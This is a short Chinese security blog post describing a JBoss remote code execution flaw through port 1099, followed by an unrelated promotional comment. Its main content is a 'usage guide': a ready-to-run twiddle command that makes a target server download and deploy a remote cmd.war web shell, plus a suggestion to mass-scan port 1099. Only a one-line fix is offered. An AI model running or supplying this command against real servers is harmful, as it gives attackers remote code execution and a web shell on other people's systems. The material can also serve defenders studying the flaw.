JBOSS的1099端口远程方法调用漏洞

by 空虚浪子心 http://www.inbreak.net 微博:http://t.qq.com/javasecurity

鸟哥前几天发我一篇文章,是个java的漏洞,讲的是1099端口可以远程方法调用的事情。
我突然想起来,当初给XCON2012的时候,因“忘记了”所以没有提到的一个问题,是个JBOSS远程代码执行的漏洞。国内貌似没有看到翻译和使用指南。时间过了这么久,居然真的就忘记了。
其原理和EJBinvoker那个差不多,话说前几天放出来一个EJBinvoker来,其实也是老漏洞,都是当初被一起放出来,EXP打击的地方,只是url不同,但是国内没看到“使用指南”的漏洞。以至于很多人不会用。
使用指南如下,有啥不会Google。

漏洞详情:

twiddle.bat -s jnp://www.target.net:1099 invoke jboss.system:service=MainDeployer deploy http://www.inbreak.net/cmd.war

事实上这个本来就在某篇老外的文章里的,和其他几个JBOSS问题都一起的。
意思是远程部署一个war上去,具体原理,和 EJBInvokerServlet / JMXInvokerServlet 基本一致,扫描特征也基本一致。
所以,可以批量的扫描1099端口。
此外,JBOSS的4444端口,看起来也不是好鸟,没时间分析,坐等答案。
我觉得国内安全圈最悲哀的莫过于大多数情况下“利用工具==新漏洞”,所以“exp==漏洞详情”。

修补建议:
invoker删除了,再把1099关闭就好。

http://www.inbreak.net/?p=512

by 空虚浪子心 http://www.inbreak.net 微博:http://t.qq.com/javasecurity

发表评论?

1 条评论。

  1. 看到博主分享这么多内容,特别想把这些内容让更多博友看到,如果博主能够经常跟其他博友互动,希望博主能够加入到“博客互推联盟”,这里有很多很勤奋的博友,和您一样,每天在坚持为大家分享好的内容。
    在这个互联网快速变革的时代,我们还在坚持,但我们不想孤军奋战,让更多博友看到你,让我们彼此多一点交流,一起发展。

发表评论